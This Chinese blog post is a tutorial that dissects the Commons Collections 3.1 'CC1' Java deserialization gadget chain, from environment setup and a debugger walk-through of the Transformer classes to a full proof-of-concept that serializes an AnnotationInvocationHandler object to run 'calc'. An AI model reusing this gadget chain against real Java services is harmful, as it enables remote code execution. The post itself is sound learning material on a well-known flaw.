CommonsCollections1
创始人
2025-05-29 09:02:43
0

Commons Collections简介

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

思路

因为Commons Collections都是一些集合类,集合类一般都可以接受任意对象,所以直接去找方法调用即可

反序列化流程:

image-20230313230345778

环境安装

jdk

jdk一般都用的8u65版本,可以从官网下载

可以再虚拟机中安装,再将jdk拷贝到物理机

image-20230313234356617

之后将里面的scr.zip解压

image-20230313234539112

换源码

其实原生的src里面是没有sun包的。

image-20230313234642187

需要外置导入。
下载JDK对应的openJDK,

openJDK

image-20230313234730649

找到src\share\classes下的sun

image-20230313234857863

复制到jdk下的src下。

image-20230313235703224

构建项目

导入项目

image-20230313235540539

创建一个新的maven项目

image-20230313235855343

再用3.1版本的cc1的maven即可

commons-collectionscommons-collections3.1

看到这样的目录我们就构建成功了

image-20230315113321570

Commons Collections命令执行

poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;public class cc1 {public static void main(String[] args) {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};Transformer transformer = new ChainedTransformer(transformers);transformer.transform(1);}
}

image-20230315104933077

分析

Transformer[] transformers = new Transformer[]{ //数组new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer

定义了transformer数组,之后将Runtime.getRuntime()传入到ConstantTransformer中,而我们命令执行的时候需要的就是Runtime.getRuntime()下的exec

跟一下ConstantTransformer

image-20230315111856322

他将Runtime.getRuntime传到iConstant中,而iConstant是个object类型的

image-20230315112415503

可以看到iConstant里面有一个transform方法,可以直接将传入的东西返回出来,

ConstantTransformer->iConstant->Runtime.getRuntime()

之后

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};Transformer transformer = new ChainedTransformer(transformers);transformer.transform(1);}

这是将InvokerTransformer传入了一串东西,看一下InvokerTransformer构造

image-20230315112943481

接受了三个参数,String类型,Class类型和Object,传入之后就相当于

        iMethodName = exec;iParamTypes = String.class;iArgs = calc;

为啥要这样传呢,在InvokerTransformer中,有一个transform方法

image-20230315113536152

而其中的

image-20230315113617346

很明显的一个反射执行命令

Class cls = input.getClass();

可以获得一个类

Method method = cls.getMethod(iMethodName, iParamTypes);

可以获得类的方法,而我们之前传进去的

iMethodName = exec;iParamTypes = String.class;iArgs = calc;

这三个参数,就可以通过getMethod获得,也就是

Method method = cls.getMethod(exec, String.class);

最后执行命令是

return method.invoke(input, iArgs);

直接通过invoke,input就可以是我们传出的Runtime.getRuntime()iArgs其实就是参数,也就是传入的calc,这就造成了命令执行

但他怎么才能命令执行,也就是获取正确的class

在poc中还有一段

Transformer transformer = new ChainedTransformer(transformers);transformer.transform(1);

transformers这个数组放到了ChainedTransformer中,追一下ChainedTransformer

image-20230315132029685可以看到他接受的就是一个transformers数组,并且将他放在了iTransformers

而在poc中,对transform传了一个参数

        transformer.transform(1);

追一下这个方法

image-20230315132433511

一个for循环,并且里面的iTransformers是我们之前传的参数,再通过iTransformers[i].transform(object);达到命令执行

跟一下断点

image-20230315133001020

可以看到iTransformers.length一定是二,因为我们上面传的是两个参数,for循环中,当i=0时,就会调用ConstanTransformer.transform(可以看箭头,很明显),同样的道理,当i=1时,调用InvokerTransformer.transform

继续跟进验证一下

image-20230315133321471

确实是,而刚刚我们将Runtime.getRuntime()存到了iConstant

ConstantTransformer->iConstant->Runtime.getRuntime()

直接return

image-20230315133704570

可以看到,现在的object就是我们需要的Runtime.getRuntime(),i=0就完成了,接下来继续i=1,在i=1中objec是等于Runtime.getRuntime()

继续跟

image-20230315134249081

可以看到getMethod中的参数是我们在poc中传入的,而Object input正好是我们要的Runtime.getRuntime(),就命令执行了

image-20230315135230785

cc1链

首先就是接口Transformer

image-20230315210151276

只有一个transform方法,找这个方法的接口类

image-20230315210519002

进去之后就看到了我们之前说的反射类命令执行

image-20230315210557920

就到了InvokerTransformertransform,再往下找哪里调用了InvokerTransformertransform

image-20230316140420813

checkSetValue中调用了valueTransformertransform,再看看valueTransformer是啥

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}

保护方法只能被自己调用,再找调用他的函数

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}

decorate中调用了TransformedMap给他做了一个封装

再去找调用checkSetValue

image-20230316141104849

setValue中被调用,其中setValue就是entry.map中的一个方法,如果我们吧map都遍历一边,那就肯定会调用到setValue,之后就会调用checkSetValue,进而到我们想要的transform,之后再去找遍历数组的地方,调用setValue

image-20230316144646717

AnnotationInvocationHandler中找到了调用setValue而且遍历map的方法,用反射获取信息

写poc的时候

Runtime r = Runtime.getRuntime();

不能被反序列化因为没有接口,所以用反射来获取他的属性之后再反序列化

        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);Class c = Runtime.class;

之后将所有transformer放到一个中,就可以只调用一次就可以

                Transformer[] transformers = new Transform[]{new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer =  new ChainedTransformer(transforms);chainedTransformer.transform(Runtime.class);

之后因为这里有两个if语句也要绕过才能调用setValue

image-20230316155831494

第一个if

if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();

实际上就是让我们找一个有成员方法的class,同时map.put()中的数组要改成成员方法的名字

例如map.put('value','aaa')

第二个if

if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {

判断这两个东西是否能强转,这里肯定是不可以的所有就绕过了两个if了

但setValue实参不可控,但刚开始我们有一个tranform

image-20230316162344996

可以直接返回我们输入的,我们最后调用这个点就可以

Transformer[] transformers = new Transform[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);

最终payload

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;public class cc1 {public static void main(String[] args) throws Exception {
//        Transformer[] transformers = new Transformer[]{ //数组
//                new ConstantTransformer(Runtime.getRuntime()), //ConstantTransformer
//        Runtime r = Runtime.getRuntime();
//        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
//        HashMap map = new HashMap();
//        map.put("key","123");
//        Map transformedMap = TransformedMap.decorate(map,null,chaine);
//        //遍历map
//        for(Map.Entry entry:map.entrySet()){
//            entry.setValue(r);
//        }
//        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
//        Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
//        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
//        Class c = Runtime.class;Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);HashMap map = new HashMap();map.put("value","123");Map transformedMap = TransformedMap.decorate(map,null,chainedTransformer);//        Method getRuntimeMethod = c.getMethod("getRuntime", null);
//        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//        Method execMethod = c.getMethod("exec", String.class);
//        execMethod.invoke(r,"calc");Class c =  Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor a = c.getDeclaredConstructor(Class.class,Map.class);//确定可以访问a.setAccessible(true);Object o =  a.newInstance(Target.class,transformedMap);serialize(o);unserializ("ser.bin");//        TransformedMap.decorate(map,null,invokerTransformer);};//        Transformer transformer = new ChainedTransformer(transformers);
//        transformer.transform(1);public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserializ(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}

在这里插入图片描述

相关内容

热门资讯

linux入门---制作进度条 了解缓冲区 我们首先来看看下面的操作: 我们首先创建了一个文件并在这个文件里面添加了...
C++ 机房预约系统(六):学... 8、 学生模块 8.1 学生子菜单、登录和注销 实现步骤: 在Student.cpp的...
JAVA多线程知识整理 Java多线程基础 线程的创建和启动 继承Thread类来创建并启动 自定义Thread类的子类&#...
【洛谷 P1090】[NOIP... [NOIP2004 提高组] 合并果子 / [USACO06NOV] Fence Repair G ...
国民技术LPUART介绍 低功耗通用异步接收器(LPUART) 简介 低功耗通用异步收发器...
城乡供水一体化平台-助力乡村振... 城乡供水一体化管理系统建设方案 城乡供水一体化管理系统是运用云计算、大数据等信息化手段࿰...
程序的循环结构和random库...   第三个参数就是步长     引入文件时记得指明字符格式,否则读入不了 ...
中国版ChatGPT在哪些方面... 目录 一、中国巨大的市场需求 二、中国企业加速创新 三、中国的人工智能发展 四、企业愿景的推进 五、...
报名开启 | 共赴一场 Flu... 2023 年 1 月 25 日,Flutter Forward 大会在肯尼亚首都内罗毕...
汇编00-MASM 和 Vis... Qt源码解析 索引 汇编逆向--- MASM 和 Visual Studio入门 前提知识ÿ...
【简陋Web应用3】实现人脸比... 文章目录🍉 前情提要🌷 效果演示🥝 实现过程1. u...
前缀和与对数器与二分法 1. 前缀和 假设有一个数组,我们想大量频繁的去访问L到R这个区间的和,...
windows安装JDK步骤 一、 下载JDK安装包 下载地址:https://www.oracle.com/jav...
分治法实现合并排序(归并排序)... 🎊【数据结构与算法】专题正在持续更新中,各种数据结构的创建原理与运用✨...
在linux上安装配置node... 目录前言1,关于nodejs2,配置环境变量3,总结 前言...
Linux学习之端口、网络协议... 端口:设备与外界通讯交流的出口 网络协议:   网络协议是指计算机通信网...
Linux内核进程管理并发同步... 并发同步并发 是指在某一时间段内能够处理多个任务的能力,而 并行 是指同一时间能够处理...
opencv学习-HOG LO... 目录1. HOG(Histogram of Oriented Gradients,方向梯度直方图)1...
EEG微状态的功能意义 导读大脑的瞬时全局功能状态反映在其电场结构上。聚类分析方法一致地提取了四种头表面脑电场结构ÿ...
【Unity 手写PBR】Bu... 写在前面 前期积累: GAMES101作业7提高-实现微表面模型你需要了解的知识 【技...